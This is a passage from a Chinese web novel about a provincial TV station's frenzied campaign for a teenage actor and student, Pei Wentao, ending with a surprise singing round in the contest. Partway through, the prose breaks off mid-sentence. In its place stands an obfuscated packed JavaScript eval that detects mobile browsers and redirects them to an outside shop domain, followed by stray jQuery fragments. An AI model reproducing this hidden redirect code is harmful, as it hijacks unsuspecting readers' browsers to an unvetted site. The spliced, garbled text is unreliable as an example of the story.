千里之外。湘省电视台总部大楼。
总编室里灯火通明，烟灰缸里塞满了烟蒂，空气中弥漫着一种因为极度兴奋而产生的焦灼感。《中学生风采大赛》的主创团队、广告部主任、宣传部负责人，乃至电视台的副台长，此刻都紧紧盯着会议室尽头的那个大屏幕。
屏幕上，正在播放着加急从上海送来的《汉武大帝》首映礼剪辑带，以及裴文韬在电影中的精彩片段。
画面定格在少年刘彻端坐龙椅、睥睨天下的那一幕。
“砰！”总导演猛地一拍桌子，震得桌上的茶杯水花四溅。他的眼睛里布满了红血丝，那是熬了两个大夜的痕迹，但眼神却亮得吓人。
“就是他？这是我们在晋级赛里拍到的那个裴文韬？”副台长激动地再三确认。
“千真万确。”总导演深吸了一口气，仿佛在压抑着内心的狂喜，“这小子不仅在电影里演活了汉武帝，你们知道他在我们的比赛里干了什么吗？”
屏幕画面切换。那是几周前，尚未播出的《中学生风采大赛》上半场。镜头里的裴文韬，同样穿着白衬衫，面对着全场带着审视意味的目光，用一种标准美式发音，背诵出了卡尔·萨根的《暗淡蓝点》。
两种截然不同的影像，在这一刻形成了极其强烈的冲击——一个是主宰天下的孤傲帝王，一个是仰望宇宙的清冷学神。
副台长猛地一拍桌子，声音洪亮。
“还愣着干什么？给我宣传！给我狠狠地炒！这已经不是普通的爆点了。这是一个全国级别的现象级奇迹！各位，我们湘省电视台，一直想要打造一个能辐射全国的标杆栏目，现在，一把最好的牌就捏在我们手里！”
于是，湘省电视台这座庞大的娱乐宣传机器开动了。
当天晚上，湘省台晚间黄金时段的新闻节目，破天荒地拿出了整整三分钟的时间。
资深的新闻主播用一种极其少见的、略带激动的语调播报：“近日，我国影坛出现了一位横空出世的天才少年演员。你或许还没有记住裴文韬这个名字，但你一定会被他在《汉武大帝》中饰演的少年刘彻所震撼。而更令人骄傲的是，这位少年，正是来自我们湘省旗山县的一名普通中学生！”
屏幕上，开始滚动播放经过精心剪辑的宣传片。
这是裴文韬在《汉武大帝》整部影片最后几个镜头，也是经典镜头：父王牵着他的手，只为看一眼少年刘彻坐上王位的样子。他坐在龙椅上，那种睥睨天下的王者气概，让无数人心潮澎湃。
紧接着，画面切换到了中学生风采大赛的舞台上，他穿着一件简单的白衬衫，面对主持人轻飘飘地背诵出《暗淡蓝点》的那一幕。以及电视台赛后采访亲友团同学的花絮片段：刘杰对着记者的镜头，亲口承认，裴文韬是县一中的学神，常年稳居年级第一名宝座。
这种反差被电视台的剪辑师运用到了炉火纯青的地步，精准地踩中了那个年代观众对于完美偶像的所有幻想——他不仅有惊为天人的皮相，更有碾压众人的智商与才华。
电视机前的观众彻底被点燃了。成千上万的观众开始疯狂打电话进电视台：“裴文韬的下半场什么时候播？”
“他会不会再表演什么更炸裂的才艺？”
“求求你们重播一遍他背英语的那段吧，我女儿哭着说没来得及录下来！”
“拜托！一定要让他出道！”
邮政局的绿色邮车每天都会在电视台楼下停靠，从最初的一个邮包，变成后来的一整车。成千上万封来自全国各地的信件，用各种颜色的信封包裹着，寄给“中学生风采大赛节目组转裴文韬收”。信件和五花八门的礼物，堆满了电视台一楼整整三个空置的储藏室，连走廊上都散发着信纸上喷洒的香水味。
电视台总编室紧急开会，调集所有资源，铺天盖地地推出关于裴文韬的宣传报道——
湘省广播电台连夜制作特别节目，请来了《汉武大帝》的导演，导演在节目里毫不掩饰地夸赞：“裴文韬是个天生的演员，他的眼神里有种少年的狂傲，又有帝王的沉稳。他以后绝对是顶级巨星。”
全省各大城市的商场门口、广告牌，都贴满了裴文韬的照片，旁边印着醒目的大字——“万人空巷！期待中学生风采大赛下半场！”
《湘省日报》头版直接刊登了一张裴文韬的高清特写，标题简单粗暴——“现象级美少年，未来巨星！”，《青少年文摘》甚至破天荒地推出了“美少年特别专刊”，头条人物就是裴文韬。
湘省电视台的黄金广告时段，不管是电视剧中插广告，还是天气预报前，都能看到一条固定宣传语——
“两周后！中学生风采大赛下半场！全国瞩目！你，准备好了吗？”
短短三天，湘省
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932096|210502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
电视台的观众热线彻底崩溃了。原本只配置了两条线路的小型电话接线室，如今扩展到了二十条线路，依旧不堪重负。无数来电，都是冲着裴文韬来的——
——“我们全家老小都等着他下半场了，求你们赶紧播！”
——“求求你们，让他再说一次英语，真的太苏了！”
而在这场狂欢中，最敏锐的永远是资本。
电视台广告部的大门几乎被各大品牌的区域经理踏破。
“王主任，我们品牌愿意出双倍的价格，买下半场比赛的中插广告！”
“不行，这个时段我们要了！价格你们随便开！”
“冠名费招商价格要马上翻倍！”导演下令。
“疯了……真的疯了……”广告部主管看着桌上堆积如山的合同，手都在发抖，“这可是我们电视台从未有过的奇迹！”
最终，湘省最知名的白酒品牌“湘水大曲”，以一个在当时看来简直是天价的数字，一举拿下了总决赛下半场的独家冠名权。下半场的节目预告片开头将直接打出宣传语——“中学生风采大赛下半场，湘水大曲独家观摩赞助！与您一同见证传奇！”
中学生风采大赛下半场还未播出，湘省已经彻底被裴文韬的热度席卷。
所有的期待值，如同被不断压缩的弹簧，被强行拉到了极限。
然而，在这个被狂热包裹的漩涡中心，节目组的高层却在策划着一场更加刺激的心理战。
他们知道，观众想看神坛上的裴文韬，但更想看这个似乎无所不能的学神、影星，在某个瞬间跌落凡尘的真实模样。只有悬念和不确定性，才能将收视率推向绝对的巅峰。
于是，在决赛前夕，导演组秘密修改了下半场的规则。他们宣布了一项毫无预兆的赛制：
“下半场的终极才艺展示，所有选手，必须演唱一首歌曲！”
这条规则一出，舆论哗然。
谁都知道，裴文韬在此前的所有表现中，从未展露过任何与音乐相关的天赋。他惜字如金，连多说一句话都不愿意，更何况是在万人瞩目的舞台上开口唱歌？
这是导演组刻意为之的“刁难”。
他们要的就是这种悬崖走钢丝般的刺激感——这位被推向神坛的美少年，究竟是会用歌声再次征服世界，还是会在全国观众面前，迎来一场史诗级的灾难翻车？